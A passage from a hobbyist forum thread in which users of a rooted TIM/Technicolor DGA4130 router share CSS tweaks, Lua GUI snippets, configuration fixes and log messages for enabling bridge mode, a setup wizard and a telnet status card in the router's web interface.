www/docroot/login.lp
www/docroot/modals/
www/docroot/modals/assistance-modal.lp
www/docroot/modals/bridge-grouping-modal.lp
www/docroot/modals/broadband-modal.lp
www/docroot/modals/changelog.lp
www/docroot/modals/contentsharing-modal.lp
www/docroot/modals/cwmpconf-modal.lp
www/docroot/modals/device-modal.lp
www/docroot/modals/diagnostics-connection-modal.lp
www/docroot/modals/diagnostics-network-modal.lp
www/docroot/modals/diagnostics-ping-modal.lp
www/docroot/modals/diagnostics-tcpdump-modal.lp
www/docroot/modals/diagnostics-xdsl-modal.lp
www/docroot/modals/ethernet-modal.lp
www/docroot/modals/firewall-modal.lp
www/docroot/modals/gateway-modal.lp
www/docroot/modals/hostmap-modal.lp
www/docroot/modals/internet-modal.lp
www/docroot/modals/iproutes-modal.lp
www/docroot/modals/log-connections-modal.lp
www/docroot/modals/log-routingtable-modal.lp
www/docroot/modals/logviewer-modal.lp
www/docroot/modals/lte-doctor.lp
www/docroot/modals/lte-modal.lp
www/docroot/modals/lte-profiles.lp
www/docroot/modals/lte-sim.lp
www/docroot/modals/lte-sms.lp
www/docroot/modals/mmpbx-codec-modal.lp
www/docroot/modals/mmpbx-contacts-modal.lp
www/docroot/modals/mmpbx-dect-modal.lp
www/docroot/modals/mmpbx-global-modal.lp
www/docroot/modals/mmpbx-inoutgoingmap-modal.lp
www/docroot/modals/mmpbx-log-modal.lp
www/docroot/modals/mmpbx-profile-modal.lp
www/docroot/modals/mmpbx-service-modal.lp
www/docroot/modals/mmpbx-sipdevice-modal.lp
www/docroot/modals/mmpbx-statistics-modal.lp
www/docroot/modals/mwan-modal.lp
www/docroot/modals/nat-alg-helper-modal.lp
www/docroot/modals/parental-modal.lp
www/docroot/modals/port-mirror-modal.lp
www/docroot/modals/printersharing-modal.lp
www/docroot/modals/qos-classify-modal.lp
www/docroot/modals/qos-queue-modal.lp
www/docroot/modals/relay-modal.lp
www/docroot/modals/system-modal.lp
www/docroot/modals/tod-modal.lp
www/docroot/modals/tod_wireless-modal.lp
www/docroot/modals/traffic-monitor.lp
www/docroot/modals/usermgr-modal.lp
www/docroot/modals/wanservices-modal.lp
www/docroot/modals/wifi-nurse-modal.lp
www/docroot/modals/wireless-client-modal.lp
www/docroot/modals/wireless-modal.lp
www/docroot/modals/wireless-qrcode-modal.lp
www/docroot/modals/wizard-modal.lp
www/docroot/modals/xdsl-low-modal.lp
www/docroot/parental-block.lp
www/docroot/password-reset.lp
www/docroot/password.lp
www/lang/
www/lang/it-it/
www/lang/it-it/web-framework-tch.mo
www/lang/it-it/webui-contentsharing.mo
www/lang/it-it/webui-core.mo
www/lang/it-it/webui-mobiled.mo
www/lang/it-it/webui-mobiledongle.mo
www/lang/it-it/webui-parental.mo
www/lang/it-it/webui-printersharing.mo
www/lang/it-it/webui-qeo.mo
www/lang/it-it/webui-qos.mo
www/lang/it-it/webui-voice.mo
www/lang/it-it/webui-wizard.mo
www/lua/
www/lua/bandsteer_helper.lua
www/lua/bridgedmode_helper.lua
www/lua/broadbandmode_helper.lua
www/lua/cards.lua
www/lua/cards_limiter.lua
www/lua/cpu_step.lua
www/lua/dhcpreset_helper.lua
www/lua/internetmode_helper.lua
www/lua/logdownload_helper.lua
www/lua/parental_helper.lua
www/lua/pfwd_helper.lua
www/lua/portslist_helper.lua
www/lua/protolist_helper.lua
www/lua/tz_helper.lua
www/lua/usbmap.lua
www/lua/voicemode_helper.lua
www/lua/wizard.lua
www/snippets/
www/snippets/broadband-adsl-advanced.lp
www/snippets/broadband-bridge.lp
www/snippets/broadband-docsis.lp
www/snippets/broadband-ethernet-advanced.lp
www/snippets/broadband-ethernet.lp
www/snippets/broadband-gpon-advanced.lp
www/snippets/broadband-gpon.lp
www/snippets/broadband-vdsl-advanced.lp
www/snippets/broadband-vlan.lp
www/snippets/broadband-xdsl.lp
www/snippets/internet-bridged.lp
www/snippets/internet-dhcp-routed.lp
www/snippets/internet-pppoa-routed.lp
www/snippets/internet-pppoe-routed.lp
www/snippets/internet-static-routed.lp
www/snippets/tabs-diagnostics.lp
www/snippets/tabs-management.lp
www/snippets/tabs-mobiled.lp
www/snippets/tabs-tod.lp
www/snippets/tabs-voice.lp
www/snippets/tabs-wireless.lp
www/wizard-cards/
www/wizard-cards/001_broadband.lp
www/wizard-cards/002_voip.lp
www/wizard-cards/003_wireless.lp
www/wizard-cards/004_wireless.lp
www/wizard-cards/005_wireless_5G.lp
www/wizard-cards/006_wireless_5G.lp
www/wizard-cards/007_user.lp
root@modemtim:~# /etc/init.d/rootdevice force
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 07, 2018, 06:20:11 PM
Personaly i keep using the stock TIM gui unlocked + this little "Bridge mod fix"...i don't want all the Ansuel Bugs  ::)
Now i think my DGA4130/DGA4132 are Perfect  :cool:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 07, 2018, 06:36:19 PM
The section "Mobile" cannot be deactivated via the TIM GUI. That means I tried it, and it works, unfortunately the graphic is shifted by the on and off button (Ansuel) then.

Other things could also be unlocked, for example the switch in "System Extras". But for further questions your help and search would be great.  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 07, 2018, 06:45:57 PM
Other things could also be unlocked, for example the switch in "System Extras". But for further questions your help and search would be great.  :)
the switch ?? what is that  :-\
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 07, 2018, 07:36:19 PM
... switchover ;D

(https://i.imgur.com/nNruHiw.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 07, 2018, 07:52:34 PM
haaa OK.  ;D
just to avoid people to open putty and write the command manualy  ;D

on which firmware you are ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 07, 2018, 08:03:02 PM
Should be an example, there are some things to unlock that are useful.  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 07, 2018, 08:18:49 PM
yes Ansuel added a lot of features, some are working well, but some are creating bugs and are making the router unstable...that's why i prefer to stay close to the stock GUI.  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 07, 2018, 08:55:25 PM
Thanks shdf i edited that file but it was in the lua folder and the bridge mode appears as an option now under internet how ever the change does not stick and it doesnt reboot or anything. I did a transformer ngix restart. I have not tried rebooting yet as people online.  :baby:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 07, 2018, 09:16:31 PM
hoo yes i edited my post with the correct path, thank you.

i think there is no reason for the modem to reboot after the changes...it just do a /etc/init.d/network restart

i also found how to add the "setup wizard"  :) :
https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,78162.msg229579.html#msg229579

it is based on Ansuel files...so maybe some bugs will appear  :blush:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 08, 2018, 12:24:48 PM
@shdf ...

Great work again, amazingly your knowledge and what you already got out of it. For things that make life easier and only need to insert a few lines of code, I am always available.

If you know new things, don't hesitate to tell it out.... I am pleased....  :)

(a test machine is always ready ...  ;D )
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 08, 2018, 08:05:30 PM
Thanks  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 08, 2018, 08:10:03 PM
hello shdf  :)

do you know is if possible to add a separate scheduling for 5GHz?
Which is the files to mod?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 08, 2018, 08:18:57 PM
i don't know, but why someone would want this kind of feature ? you should be the only one in the hearth... ;D is that something Ansuel added in his GUI ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Westie on February 08, 2018, 09:52:06 PM
I'm using Ansuel's GUI 3.36, and wireless scheduling is not set separately for 2.4 GHz and 5GHz.

Scheduling can also be set by MAC address if you want to control access by a particular device.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 08, 2018, 11:05:31 PM
i don't know, but why someone would want this kind of feature ? you should be the only one in the hearth... ;D is that something Ansuel added in his GUI ?
I'm not the only one... and there is a reason.

Scheduling can also be set by MAC address if you want to control access by a particular device.
Thanks but i need for band not for particular device.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 09, 2018, 12:17:45 AM
A small success in the late evening:
 
By exchanging the file "device-modal.lp" (Ansuel) all values are displayed again in the TIM GUI (plus editing function "Hostname").

/www/docroot/modals
device-modal.lp

Before
(https://i.imgur.com/qK0KuU3.png)

After:
(https://i.imgur.com/iMdaPUb.png)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 09, 2018, 07:24:40 AM
it's already like that on firmware 1.1.x  :) i think Ansuel used the file from that firmware
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 09, 2018, 11:13:29 AM
The reason for the nginx error messages when logging in to the WebGUI are either missing files or incorrect or unspecified user names in files.
(these nginx errors have nothing to do with Ansuel, they are already included in the firmware)

I could easily fix a "simple" bug in 1.0.5, the favicon.ico was missing in folder /www/docroot/img.
error message:
nginx [warn] 4666#0: *49 [lua] session.lua:343: new(): new session for default user, client: 192.168.0.2, server: localhost, request: "GET /favicon.ico HTTP/1.1", host: "192.168.0.1"

---------------------

Accordingly, for example, something must be missing here (indicated by xxxxxxx):

nginx [warn] 4666#0: *63 [lua] session.lua:343: new(): new session for default user, client: 192.168.0.2, server: localhost, request: "GET /xxxxxxx HTTP/1.1", host: "192.168.0.1"

or

nginx [error] 4666#0: *53 [lua] sessionmgr.lua:231: redirectIfNotAuthorized(): Unauthorized request, client: 192.168.0.2, server: localhost, request: "GET /xxxxxxx HTTP/1.1", host: "192.168.0.1", referrer: "hxxp://192.168.0.1/"

or here

nginx [warn] 4666#0: *53 [lua] session.lua:103: changeUser(): changing user to default user, client: 192.168.0.2, server: localhost, request: "POST /xxxxxxx HTTP/1.1", host: "192.168.0.1", referrer: "hxxp://192.168.0.1/"


But what is missing, which file, in which file are wrong usernames entered (or missing)?

Who can help, give advice or contribute something useful?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 09, 2018, 01:08:57 PM
My modem appears to be sending dhcp discovery requests on the lan side, the source mac address being that of the wifi interface EXCEPTS it end in :eb per the packet capture on the br-lan interface.

Any ideas on what this could be and how I could stop this? DHCP is disabled everywhere that I can see.

Also I noticed something interesting, if you disable wansensing in the config the internet card changes from bridged to dhcp.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 09, 2018, 02:42:11 PM
@eclp
the favicon warning message is not an nginx error but a warning about your browser looking for a file that doesn't exists.

every [warn] messages from nginx are not nginx errors but things you or your browser are trying to do, ie accessing an nonexistent file.

sessionmgr.lua and session.lua are located here : /usr/lib/lua/web
There must be something unexpected in the functions redirectIfNotAuthorized and  changeUser
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 09, 2018, 02:45:57 PM
Any ideas on what this could be and how I could stop this? DHCP is disabled everywhere that I can see.
did you really disabled the DHCP for the wifi ? there are 3 DHCP: LAN, WIFI 2.4 and WIFI 5Ghz

(https://i.imgur.com/JtZkB9P.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 10, 2018, 12:09:32 PM
tonight i learned something about the "wan sensing" of the modem:
https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77325.msg219942.html#msg219942

This router can connect to the Internet in 3 ways:
1) telephone line (adsl / vdsl)
2) PPP over Ethernet (ftth)
3) USB 3g/4g key (as fallback)

These scripts /etc/config/wansensing "manage" these interfaces and change from one to another depending on availability.

Someone is trying to set the wan port as a lan port, but the wansensing is doing unexpected things...and stoping it /etc/init.d/wansensing stop makes the modem thinking it is in bridge mode...

Is it safe to disable this if you run the DGA in bridge mode anyway?
I have this entry every five minutes:

Code: [Select]
[wansensing] (L3UpSense) runs L3UpMain.check(VDSL,timeout)
 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 10, 2018, 12:19:11 PM
I also have a lot of these error messages, but I can't find anything where to disable this "auto_update".

Quote
2018/02/10 13:01:34 [error] 4666#0: *256 [lua] sessionmgr.lua:231: redirectIfNotAuthorized(): Unauthorized request, client: 192.168.0.2, server: localhost, request: "POST /ajax/mobiletab.lua?auto_update=true HTTP/1.1", host: "192.168.0.1", referrer: "http://192.168.0.1/"

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 10, 2018, 01:24:51 PM
Did you disable the mobile function?
/etc/init.d/mobiled disable
/etc/init.d/mobiled stop

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 10, 2018, 01:57:32 PM
Thank you for your feedback.

I've already disabled this one. This means that this message no longer appears:

Code: [Select]
[mobiled] (WaitingForDevice) runs WaitingForDevice-Main.check(timeout, 1, PlatformConfigure)
It must be somewhere else.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 10, 2018, 04:15:11 PM
@shdf what is the easiest method to reset all factory settings on 1.1.0_002 whilst staying rooted? Do have you to reset back to the older firmware again and go through the autoflash upgrade / downgrade bank switch again?

 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 10, 2018, 04:44:13 PM
yes i don't see another method as a factory reset will overwrite all the files with what's in /rom so you will always lose the root.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 10, 2018, 06:21:50 PM
 ;D

Found it: www\cards\010_lte.lp

Code: [Select]
this.refresh = function () {\
$.post("/ajax/mobiletab.lua?auto_update=true", [tch.elementCSRFtoken()], function(data) {\
if(data.bars != undefined) {\
self.updateBars(data.bars);\

 Do you think I could dare?   "/ajax/mobiletab.lua?auto_update=false"


Edit: it works, error messages disappeared!
---------------------------------------------------------------------------------------------------------------------------------------------

And another little thing, if you want the TIM GUI to be consistent and original (removing the wrench), delete line 839 in the gw.css

www\docroot\css\gw.css

(https://i.imgur.com/Q2FgMgZ.png)

... or only content: attr(data-bg-text);

Quote
.card_bg::after {
    color: #eaeaea;
    font-family: FontAwesome;
    content: attr(data-bg-text);
    display: block;
    font-size: 200px;
    line-height: 1;
    position: absolute;
    bottom: -90px;
    right: 5px;

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 10, 2018, 08:03:46 PM
Does anyone care about it?

Quote
daemon.warn
nginx
2018/02/10 19:54:19 [warn] 4666#0: *350 [lua] session.lua:103: changeUser(): changing user to admin, client: 192.168.0.2, server: localhost, request: "POST /authenticate HTTP/1.1", host: "192.168.0.1", referrer: "hxxp://192.168.0.1/"
103:
-- set a new user for the session
-- @param user the user to switch to
-- As the security in the web framework is tied to the
-- user role, the session identity is changed when the
-- role changes so that the client will se a new identity
-- after login or logout

Code: [Select]
daemon.warn
nginx
2018/02/10 19:54:15 [warn] 4666#0: *349 [lua] session.lua:343: new(): new session for default user, client: 192.168.0.2, server: localhost,
request: "GET / HTTP/1.1", host: "192.168.0.1"
343:
-- Create a new session.
-- @param sessionAddress The IP addresses linked to the new session.
-- This is a table with the field 'server' and 'remote'.
-- This should not change during a session.
-- @param mgr  The session manager that creates the new session.
-- @return A new session is returned that is initiated with the default
-- user and role.

Code: [Select]
daemon.err
nginx
2018/02/10 19:53:55 [error] 4666#0: *348 [lua] sessionmgr.lua:231: redirectIfNotAuthorized(): Unauthorized request, client: 192.168.0.2,
 server: localhost, request: "GET / HTTP/1.1", host: "192.168.0.1",referrer: "hxxp://192.168.0.1/"
231:
-- Not authorized; show the login page.
-- Make sure this internal redirect uses the new session ID
-- (if one was created) to avoid allocating a new session.
-- Don't touch other cookies.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 10, 2018, 09:24:54 PM
How can i enable all ddns that i see in /ddns/services?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 10, 2018, 10:11:13 PM
Does your setup wizard step 1 look like this for vdsl wan type:
Latest tim rooted modified gui

(https://s18.postimg.org/8k34rzb1l/setupwiz.png) (https://postimages.org/)
?

also cant figure out where this is coming from, dhcp is disabled everywhere
(https://i.imgur.com/hVRbU9a.png)

tcp dump br-lan does anyone also get this?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 11, 2018, 09:01:29 AM
How can i enable all ddns that i see in /ddns/services?

just done it... now i have all host ddns
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 11, 2018, 09:36:17 AM
@bilbokitz
i don't have this "Invalid instance" error message at the top, try to refresh your browser cache with CTRL+F5, if you still have it then you forgot to do soemthing when enabling the wizard mode.

(https://i.imgur.com/yIvd4e5.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 11, 2018, 10:03:14 AM
shdf will you pass me the file system-modal.lp please?
i modded it but forget to make a backup
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 11, 2018, 10:16:29 AM
you always have the original copy in the folder /rom  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 11, 2018, 10:36:50 AM
i didn't know... thanks  ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 11, 2018, 11:35:50 AM
how can i delete these buttons in all cards?

(https://s13.postimg.org/56oysms7b/Senza_titolo-1.jpg)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 11, 2018, 12:03:38 PM
@Ivymike ... With css you can delete the buttons.

@all ...

Played a little bit on my test device once:
If you deactivate wansensing completely, you obviously get the real brigde mode served (only eight tiles then, but the rest can be unlocked).
What I don't understand is the DHCP connection under "Internet Access".

Code: [Select]
config wansensing 'global'
        option enable '0'
option initmode 'L2Sense'
option tracelevel '4

(https://i.imgur.com/98BWb1V.png)

(https://i.imgur.com/8cGkUCL.png)

(https://i.imgur.com/5ecNMgP.png)

(https://i.imgur.com/7FPsiYm.png)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 11, 2018, 12:22:40 PM
Ehm i never used css
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 11, 2018, 12:27:33 PM
@Ivymike ...

www/docroot/css -->

gw.css

delete in line 1058 --> content: "\f085";

and

tim.css
in line 4 --> opacity: 1; --> opacity: 0;
(only change here)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 11, 2018, 12:46:56 PM
i did it ... but when I move the cursor on a card, the icon reappears

and despite i have activated telnet in this card it's always off
(https://s13.postimg.org/l2ie9q5lj/Senza_titolo-1.jpg)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 11, 2018, 01:45:33 PM
gw.css

line 617, opacity: 1; --> opacity: 0;

line 911, display: inline; -->   display: none;
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 11, 2018, 01:58:40 PM
@eclp i should offer a beer ;)

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 11, 2018, 03:33:36 PM
in fact it is only necessary to add this piece of code in /www/lua/internetmode_helper.lua
just above the last "}"
Code: [Select]
{
        name = "bridge",
        default = false,
        description = "Bridge mode",
        view = "internet-bridged.lp",
        card = "003_internet_bridged.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^bridge$"},
{ "uci.wansensing.global.enable", "^1$"},
        },
        operations = {
            { "uci.network.interface.@wan.proto", "bridge"},
        },
    },

So the file would be like this :
Big Thanks @eclp for finding this  :)

The solution to the wansensing mystery in Bridge-Mode!

Wrong:  { "uci.wansensing.global.enable", "^1$"}

Correct: { "uci.wansensing.global.enable", "^0$"}

 :) :P

STOP
Something's missing.
(I hope I find out)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 11, 2018, 04:11:57 PM
That's great, I thought that was strange, I wonder where the 1 came from.

Does your dhcp relay card show as enabled too? I cant seem to disable it in the gui or in /etc/config/dhcprelay
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 11, 2018, 04:17:08 PM
@eclp i see you're very expert, so i'm thinking.....

i enabled telnet like explaned but i i cannot to fix cards... it always off instead green and in subcard i haven't any button or information about that.

how can i fix it?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 11, 2018, 04:55:30 PM
@Ivymike
i'm ont it, your card is coming from Ansuel GUI, as we know "with bugs"...i found the reason why it doesn't show as enabled, but i don't understand why...the problem is here :
Code: [Select]
if telnet_available then
local TELNET = proxy.get("uci.telnet.general.enable")
if TELNET and (TELNET[1].value == "1") then
telnet_enable = "Enabled"
else
telnet_enable = "Disabled"
end
end

For some reason the code doesn't get the correct value of "1", however in putty if you do a uci get telnet.general.enable you get "1"...

@eclp
you are changing values in the CHECK part...i'm not sure it's correct, if you want to change a value it should be below in the "operation" part.
i would try this :

Code: [Select]
{
        name = "bridge",
        default = false,
        description = "Bridge mode",
        view = "internet-bridged.lp",
        card = "003_internet_bridged.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^bridge$"},
{ "uci.wansensing.global.enable", "^1$"},
        },
        operations = {
            { "uci.network.interface.@wan.proto", "bridge"},
            { "uci.wansensing.global.enable", "0"},
        },
    },
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 11, 2018, 06:27:06 PM
@shdf I presume the telnet enabled status problem is also related to this problem??

Code: [Select]
config dhcprelay 'config'
        option serveriface       'wan'
        option clientiface       'lan'
        option enabled           '0'
        #option serverip         '<your DHCP server IP address>'

(https://image.ibb.co/dQknrS/dhcprelay.png) (https://imgbb.com/)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 11, 2018, 06:32:24 PM
about the relay setup, if you watch inside /www/cards/018_relaysetup.lp you'll see some comments saying that they hardcoded some values (so enabled or not it will show as enabled).

set it like this and it will show as disabled.
Quote
-- TODO: Hardcoded to "1" since there’s no option to enable/disable dhcp relay
local uci_relay_status = "0"
local dhcprelay_state = "disabled"
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 11, 2018, 07:37:48 PM
I got it for the Telnet issue  ;D
we need the file /usr/share/transformer/mappings/uci/telnet.map from Ansuel's GUI.

+ of course his /www/cards/091_system.lp. This is mine, i just removed the bakground glitch.
Code: [Select]
--pretranslated: do not change this file
 
-- Enable localization
gettext.textdomain('webui-core')

local ngx = ngx
local session = ngx.ctx.session
local format = string.format
local ui_helper = require("web.ui_helper")
local proxy = require("datamodel")
local modalPath = "/modals/system-modal.lp"
syslog_present = "Disabled"

-- Check availability of file, return true if found, else false
local function file_check(file_name)
  local file_found=io.open(file_name, "rb")
  if file_found==nil then
    return false
  else
    return true
  end
end

local Syslog = proxy.get("uci.system.system.@system[0].log_ip", "uci.system.system.@system[0].log_filter_ip")
if Syslog and (Syslog[1].value ~= "" or Syslog[2].value ~= "") then
    syslog_present = "Enabled"
end
    local syslog_state_map = {
      Disabled = T"Syslog Disabled",
      Enabled = T"Syslog Enabled",
    }

    local syslog_light_map = {
      Disabled = "off",
      Enabled = "green",
    }

local ssh_enable = "Disabled"
local SSH_legacy = proxy.get("uci.dropbear.dropbear.@dropbear[0].enable")
local SSH_lan = proxy.get("uci.dropbear.dropbear.@lan.enable")
local SSH_wan = proxy.get("uci.dropbear.dropbear.@wan.enable")
if SSH_legacy and (SSH_legacy[1].value == "1") then
    ssh_enable = "Enabled"
end
if SSH_lan and (SSH_lan[1].value == "1") then
    ssh_enable = "Enabled"
end
if SSH_wan and (SSH_wan[1].value == "1") then
    ssh_enable = "Enabled"
end

    local SSH_state_map = {
      Disabled = T"SSH Disabled",
      Enabled = T"SSH Enabled",
    }

    local SSH_light_map = {
      Disabled = "off",
      Enabled = "green",
    }

local telnet_available = file_check("/bin/busybox_telnet")

if telnet_available then
local TELNET = proxy.get("uci.telnet.general.enable")
if TELNET and (TELNET[1].value == "1") then
telnet_enable = "Enabled"
else
telnet_enable = "Disabled"
end
end
    local TELNET_state_map = {
      Disabled = T"Telnet Disabled",
      Enabled = T"Telnet Enabled",
    }

    local TELNET_light_map = {
      Disabled = "off",
      Enabled = "green",
    }

    if session:hasAccess("/modals/system-modal.lp") then
    local modal_link = format("class=\"modal-link\" data-toggle=\"modal\" data-remote=\"%s\" data-id=\"device-modal\"",modalPath)
  ngx.print('\
<div class="span3">\
  <div class="smallcard">\
    ');  ngx.print( ui_helper.createCardHeader(T"System Extras", modalPath) ); ngx.print('\
    <div class="content">\
      <div class="divtable">');
ngx.print(
ui_helper.createSimpleLight(nil, syslog_state_map[syslog_present], { light = { class = syslog_light_map[syslog_present] } }),
'<br/>',
ui_helper.createSimpleLight(nil, SSH_state_map[ssh_enable], { light = { class = SSH_light_map[ssh_enable] } }),
'<br/>');
if telnet_available then
ngx.print(
ui_helper.createSimpleLight(nil, TELNET_state_map[telnet_enable], { light = { class = TELNET_light_map[telnet_enable] } })
);
end
ngx.print('\
      </div>\
    </div>\
  </div>\
</div>\
'); 
    end -- end for the second if
  ngx.print('\
');

(https://i.imgur.com/PwsuFxB.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 11, 2018, 08:04:09 PM
@Shdf ... I tried your "function" unsuccessfully.

Wansensing should be switched off automatically (global) as soon as the bridge mode is activated. You will be greeted as follows when you log in:"Your modem is in bridge mode. It only connect to DSLAM and nothings else." (as in my picture). This also works, but unfortunately only if you disable wansensing in the config manually. Unfortunately, I can't find or reactivate the deciding "function".

Ask for help!



Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 11, 2018, 08:46:07 PM
about the relay setup, if you watch inside /www/cards/018_relaysetup.lp you'll see some comments saying that they hardcoded some values (so enabled or not it will show as enabled).

set it like this and it will show as disabled.

i tried and i got this:

(https://s9.postimg.org/f5qtjujpr/Senza_titolo-1.jpg)


Great for Telnet... works!
I will try to add command in sub cards

(https://s18.postimg.org/x5yp6rp0p/Senza_titolo-1.jpg)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 11, 2018, 09:33:07 PM
@Ivymike
system-modal.lp

Code: [Select]
--pretranslated: do not change this file
 
-- Enable localization
-- NG-92911 SSH Enable for LAN/WAN is not working for Engineer User
gettext.textdomain('webui-core')

local ngx, string = ngx, string
local proxy = require("datamodel")
local ui_helper = require("web.ui_helper")
local message_helper = require("web.uimessage_helper")
local content_helper = require("web.content_helper")
local post_helper = require("web.post_helper")
local format, match = string.format, string.match

local env = {
  factory = "uci.env.rip.factory_id",
  serial = "uci.env.rip.serial",
}
content_helper.getExactContent(env)

-- Check availability of file, return true if found, else false
local function file_check(file_name)
  local file_found=io.open(file_name, "rb")
  if file_found==nil then
    return false
  else
    return true
  end
end

local serial_num = format("%s%s",env.factory,env.serial)
local syslog_present, syslog_filter_sw = "0", "0"

-- SSH Access
local ssh_lan, ssh_wan = "0", "0"    -- assume disabled
local ssh_lan_index, ssh_wan_index = "-1", "-1"
local ssh_wan_new, ssh_lan_new

-- local function to handle setting firewall rule
-- parameter target will have a value of DROP or ACCEPT for SSH-wan entry
local function set_firewall(target)
   -- go through rules to find SSH-wan anonymous section name
   local rules = proxy.get("uci.firewall.rule.")
   for _,v in ipairs(rules) do
      if v.param == "name" and string.untaint(v.value) == "SSH_wan" then
         proxy.set(v.path.."target", target)
         return
      end
   end
end


local dbpath = "uci.dropbear.dropbear."
local dbvalues = proxy.get(dbpath)
local data = content_helper.convertResultToObject(dbpath, dbvalues)

for _,v in pairs(data) do
  if v.Interface == "lan" then
    ssh_lan = v.enable
    ssh_lan_index = v.paramindex
  elseif v.Interface == "wan" then
    ssh_wan = v.enable
    ssh_wan_index = v.paramindex
  end
end

local Syslog = proxy.get("uci.system.system.@system[0].log_ip","uci.system.system.@system[0].log_filter_ip")
if Syslog[1].value ~= "" or Syslog[2].value ~= "" then
  syslog_present = "1"
  if Syslog[2].value ~= "" then
    syslog_filter_sw = "1"
  end
end

if ngx.var.request_method == "POST" then
  local vars = ngx.req.get_post_args()
  if vars["action"] == "SAVE" then
    -- SSH Access
    ssh_wan_new = string.untaint(vars["ssh_wan"])
    ssh_lan_new = string.untaint(vars["ssh_lan"])

    -- set lan
    if ssh_lan_new ~= ssh_lan then
       ssh_lan = ssh_lan_new
       proxy.set(dbpath..ssh_lan_index.. ".enable", ssh_lan)
       -- Log  that someone has changed SSH access
       ngx.log(ngx.ALERT, "Local Setting of SSH on lan to "..ssh_lan)
    end

    -- set wan
    if ssh_wan_new ~= ssh_wan then
       ssh_wan = ssh_wan_new
       proxy.set(dbpath..ssh_wan_index.. ".enable", ssh_wan)
       if ssh_wan == "1" then
          set_firewall("ACCEPT")
       else
          set_firewall("DROP")
       end
